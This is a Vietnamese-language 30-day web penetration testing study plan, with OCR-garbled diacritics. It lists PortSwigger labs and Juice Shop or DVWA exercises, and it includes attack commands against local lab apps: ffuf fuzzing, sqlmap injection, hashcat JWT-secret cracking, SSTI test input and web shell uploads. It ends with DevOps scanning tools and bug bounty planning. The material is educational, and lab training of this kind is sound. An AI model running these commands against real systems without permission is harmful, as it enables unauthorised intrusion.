Ngay 1: Setup méi trwong

Muc tiéu: San sang lab environment

Cong viéc:
0O Cai Burp Suite Community Edition

0O Cai FoxyProxy Firefox extension

O Import Burp CA certificate

0O Tao account PortSwigger Web Security Academy

0 Chay DVWA hodc Juice Shop béng Docker:
docker run -d -p 3000:3000 bkimminich/juice-shop
boc lai Chuwong 1 (Gidi thiéu) va Chuong 2 (HTTP)

Lab: - Dung Burp dé€ intercept traffic dén Juice Shop - Xem HTTP history, thit Repeater v&i 1 request

Ngay 2-3: HTTP va Burp Suite
Poc: Chuong 2 (HTTP Fundamentals) + Chuwong 3 (Burp Suite)

Thyc hanh:

O Intercept va inspect toan bd cac loai HTTP requests tu Juice Shop
O Tht& Burp Decoder: decode base64, URL encode/decode

0O Th& Burp Repeater: modify headers, parameters

O Inspect cookies: c6 HttpOnly/Secure/SameSite khong?

0O Inspect response headers: cé security headers khong?

PortSwigger Labs (khong can): Poc ly thuyét HTTP tir portswigger.net/web-security

Ngay 4-5: Authentication
Poc: Chuong 4 (Authentication)

PortSwigger Labs:

0O Lab: Username enumeration via different responses

O Lab: Username enumeration via subtly different responses
O Lab: Username enumeration via response timing

O Lab: Broken brute-force protection (IP block)

O Lab: 2FA bypass

Thyc hanh véi Juice Shop:

O Tim username enumeration trong login flow
O Tht brute force véi Intruder

O Tim weak default credentials

Ngay 6-7: Session va Access Control
boc: Chuong 5 (Session Management) + Chuong 6 (Access Control)

PortSwigger Labs:

O Lab: User role controlled by request parameter

Lab: URL-based access control can be circumvented
Lab: Method-based access control can be circumvented
Lab: User ID controlled by request parameter

Lab: Insecure direct object references

(]
o
(]
(]

Thuc hanh véi Juice Shop:
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O Inspect session cookie attributes
O Tim IDOR: truy cap order/profile cla user khac
O Tim admin endpoint b&ng ffuf/gobuster

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://localhost:3000/FUZZ -mc 200

I Tuan 2: Injection Attacks (Ngay 8-14)

Ngay 8-9: SQL Injection
Poc: Chuong 12 (SQL Injection)

PortSwigger Labs (theo thi tu)
Lab: SQL injection vulnerability in WHERE clause
Lab: UNION attack, determining columns
Lab: UNION attack, finding a column with text
Lab: UNION attack, retrieving data
Lab: Blind SQL injection with conditional responses
Lab: Blind SQL injection with time delays

céng cu:
O Thuc hanh sqlmap vGéi DVWA:
docker run -d -p 80:80 vulnerables/web-dvwa
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=xxx;security=low" --dbs

Ngay 10: NoSQL va Command Injection
boc: Chuong 13 (NoSQL) + Chuong 14 (Command Injection)

PortSwigger Labs:

O Lab: 0S command injection, simple case

O Lab: Blind 0S command injection with time delays

O Lab: Blind 0S command injection with out-of-band interaction

Thuc hanh:
O Setup MongoDB locally va thi operator injection
0O Tim command injection trong Juice Shop (cé 1 challenge)

Ngay 11-12: XSS
boc: Chuong 11 (XSS)

PortSwigger Labs:

O Lab: Reflected XSS into HTML context with nothing encoded

Lab: Stored XSS into HTML context with nothing encoded

Lab: DOM XSS in document.write sink

Lab: DOM XSS in innerHTML sink

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

(]
o
(]
(]

Thuc hanh véi Juice Shop:

0O Tim va exploit reflected XSS

0O Tim stored XSS trong comment/product review
O Test CSP bypass

Ngay 13-14: SSRF va XXE
boc: Chuong 15 (SSRF) + Chuong 16 (XXE)

PortSwigger Labs:

O Lab: Basic SSRF against the local server

O Lab: Basic SSRF against another back-end system
0O Lab: SSRF with filter bypass via open redirection
O Lab: Exploiting XXE using external entities

O Lab: Blind XXE with out-of-band interaction

Thyc hanh:
0 Dung Burp Collaborator (néu cé Pro) hodc interactsh

docker run -it -p 80:80 ghcr.io/projectdiscovery/interactsh-server
[0 Test SSRF dén localhost services
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I Tuan 3: Authentication Protocols & Advanced (Ngay 15-21)

Ngay 15-16: OAuth va JWT
Poc: Chuong 7 (OAuth) + Chuong 8 (JWT)

PortSwigger Labs:

O Lab: JWT authentication bypass via unverified signature

O Lab: JWT authentication bypass via flawed signature verification (alg:none)
0O Lab: JWT authentication bypass via weak signing secret

O Lab: Authentication bypass via OAuth implicit flow

Thuc hanh:
0O Setup Burp JWT Editor extension
O Decode JWT tir Juice Shop, th& modify payload
O Brute force JWT secret:
hashcat -a 0 -m 16500 <jwt> /usr/share/wordlists/rockyou. txt

Ngay 17-18: CORS va CSRF
boc: Chuong 9 (CORS) + Chuong 10 (CSRF)

PortSwigger Labs:

0O Lab: CORS vulnerability with basic origin reflection
O Lab: CORS vulnerability with trusted null origin

O Lab: CSRF vulnerability with no defenses

O Lab: CSRF where token validation depends on request method

O Lab: CSRF where Referer validation depends on header being present
Thuc hanh:

O Test CORS mis-configuration bang curl

O Tao CSRF PoC HTML page

Ngay 19-20: File Upload va Path Traversal
boc: Chuong 17 (File Upload) + Chuong 18 (Path Traversal)

PortSwigger Labs:

O Lab: Remote code execution via web shell upload

Lab: wWeb shell upload via Content-Type restriction bypass

Lab: Web shell upload via path traversal

Lab: File path traversal, simple case

Lab: File path traversal, traversal sequences stripped non-recursively

(]
o
(]
o

Thuc hanh:
0 Upload web shell vao DVWA véi security=low
0O Test path traversal trén local app
Ngay 21: Race Condition va Business Logic
boc: Chuong 20 (Race Condition) + Chuwong 21 (Business Logic)
PortSwigger Labs:
0O Lab: Limit overrun race conditions
O Lab: Bypassing rate limits via race conditions
Thuc hanh véi Juice Shop:

O Tim business logic bugs (coupon reuse, negative quantity)
0O Tht race condition véi Burp Turbo Intruder

I Tuan 4: DevOps Security + Practice (Ngay 22-30)

Ngay 22-23: Advanced Web Attacks

boc: Chuong 22 (Clickjacking) + Chuong 23 (Cache Poisoning) + Chuong 24 (Request Smuggling)
PortSwigger Labs (néu cé Pro)
0O Lab: Basic clickjacking with CSRF token protection

O Lab: Exploiting HTTP request smuggling to bypass front-end security

Thuc hanh:
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O Implement X-Frame-Options va fram ncestors CSP
O Test cache headers trén Nginx config

Ngay 24-25: SSTI va Deserialization
Poc: Chuong 25 (SSTI) + Chuong 26 (Deserialization)

PortSwigger Labs:
O Lab: Basic server-side template injection (SSTI)
O Lab: Server-side template injection using documentation

Thuyc hanh:

0O Setup Flask app voi vulnerable Jinja2 template
0O Test {{7*7}} injection

0O Tht sandbox escape trong Jinja2

Ngay 26-27: APl va GraphQL Security
Poc: Chuong 27 (GraphQL) + Chuwong 28 (API Security)

PortSwigger Labs:
O Lab: Accessing private GraphQL posts
O Lab: Bypassing GraphQL brute force protections

Thyc hanh:

0O Setup GraphQL endpoint va test introspection
O Implement rate limiting véi Flask-Limiter

0O Test mass assignment vulnerability

Ngay 28-29: DevOps Security trong thwc té

Poc: Chuong 29-33 (K8s, CI/CD, Secrets, Cloud, Logging)

Thuc hanh:
O Scan repo voi gitleaks:
gitleaks detect --source . --verbose

SAST voi Semgrep:
pip install semgrep
semgrep --config=p/owasp-top-ten src/

Scan Docker image vOi Trivy:
trivy image myapp:latest

Implement security headers trong Nginx:

add_header Strict-Transport-Security "max-age=31536000" always;
add_header X-Frame-Options "DENY" always;

add_header Content-Security-Policy "default-src 'self'" always;

Test IAM permissions:

aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::123:role/my-role \
--action-names s3:GetObject \
--resource-arns arn:aws:s3:::my-bucket/*

Ngay 30: Review, CTF, va Bug Bounty Planning
Ngay cudi cung:

Review toan bd
O Lam lai cau héi 6n tap cac chuong da hoc
O Test Juice Shop: hoan thanh tdt ca challenges c6 thé

. CTF Preciilee
O TryHackMe: OWASP Top 10 room (https://tryhackme.com)
O HackTheBox Starting Point machines

Bug Bounty Planning
0 Tao account HackerOne: https://hackerone.com
O Tim program phu hop:

- Public programs voi broad scope

- "Accepts all vulnerabilities" programs

- Programs voi good response rate
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4. Lap ké hoach tiép theo

0O Chon 1 vulnerability type dé deep-dive (SQLi, SSRF, etc.)
O Join communities:

- Reddit: r/netsec, r/bugbounty

- Twitter: theo ddi security researchers

- Discord: Bug Bounty Hunter Community

I Tai nguyén bo sung

Platforms thwc hanh

Platform L\ GREY Mién phi
PortSwigger Web Security Academy Labs chinh thitc, t6t nhat Co
TryHackMe Hoc theo rooms, guided Co (basic)
HackTheBox Machines thyrc t€ hon C6 (basic)
DVWA Vulnerable web app tu host Co
Juice Shop OWASP challenge app Co
VulnHub 'VMs cho download Co

Tools quan trong

Tool Muc dich

Burp Suite Community Intercepting proxy, main tool

Burp JWT Editor JWT testing

ffuf Directory/endpoint fuzzing

sqlmap SQL injection automation

gitleaks Secret scanning

semgrep SAST

trivy Container scanning

nmap Port scanning

interactsh Out-of-band testing (Burp Collaborator alternative)

Tai liéu tiép tuc hoc
» PortSwigger Blog: https://portswigger.net/research — nghién cttu méi nhat
o OWASP Cheat Sheet Series: Tong hop best practices
¢ HackerOne Hacktivity: Xem real bug bounty reports
o Intigriti Writeups: Bug bounty writeups
e The Web Application Hacker’s Handbook (sach)
¢ Bug Bounty Bootcamp ctia Vickie Li (sach)

Certification (Néu mudn)

Cert Level Phu hop

PortSwigger BSCP Intermediate Tat nhat cho web pentester
CompTIA Security+ Beginner Foundational

OSCP (Offensive Security) Advanced Full pentester

eWPT (eLearnSecurity) Intermediate Web pentesting

I Mindset quan trong

“Think like an attacker”
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Khi nhin vao bat ky feature nao cta tng dung, hoi: - T6i c6 thé cung cdp input khong mong dgi khong? - T6i c6 thé bo qua budc nay khong? - T6i c6 thé thay doi parameter

nay khong? - App dang tin twong diéu gi ma khong nén tin?

“Defense in depth”

Khong phu thudc vao 1 16p bao mat. Méi 16p phai assume cac 16p khac da bi bypass.
“Continuous learning”

Web security thay doi lién tuc. Theo di: - New CVEs va vulnerabilities - Writeups tit bug bounty hunters - Research papers tir security conferences (Black Hat, DEF CON)

I Tracking Progress

Tuan 1 - Foundation:

0O Méi truong setup hoan chinh

O Hoan thanh it nhat 10 PortSwigger labs

0 C6 thé dung Burp dé inspect va modify HTTP traffic

Tuan 2 - Injection:

0 Hoan thanh it nhat 15 PortSwigger labs

0 C6 thé manually detect va exploit SQLi, XSS co ban
[0 Hiéu cach phong chéng ting loai

Tuan 3 - Auth & Advanced:

O Hoan thanh 10 labs vé JWT/OAuth/CSRF/CORS
0 C6 thé decode va modify JWT

[0 C6 thé exploit SSRF dén internal services

Tuan 4 - DevOps Integration:

O Implement security headers trong 1 real project

0O Setup gitleaks trong pre-commit hooks

O Thém Semgrep vao CI pipeline

0 Submit it nhat 1 vulnerability report (du Low severity)

Chiic mirng! Sau 30 ngay, ban da cé foundation du vitng dé: - Nhan ra va phong chéng cac 16 héng phé bién trong hé thong cua minh - Bit dau Bug Bounty véi

confidence - N6i chuyén security v&i developers va security teams nhuw peers - Tiép tuc tw hoc sau hon vao cac chu dé chuyén biét

Con dwong phia trwéc: - 3 thang: Chuyén sau 2-3 vulnerability types - 6 thang: Active Bug Bounty hunter - 1 nam: C6 thé pass BSCP hodc eWPT - 2 ndm: Pentest junior

hodc AppSec engineer

Security la journey, khéng phdi destination. Bat dau tir hbm nay.
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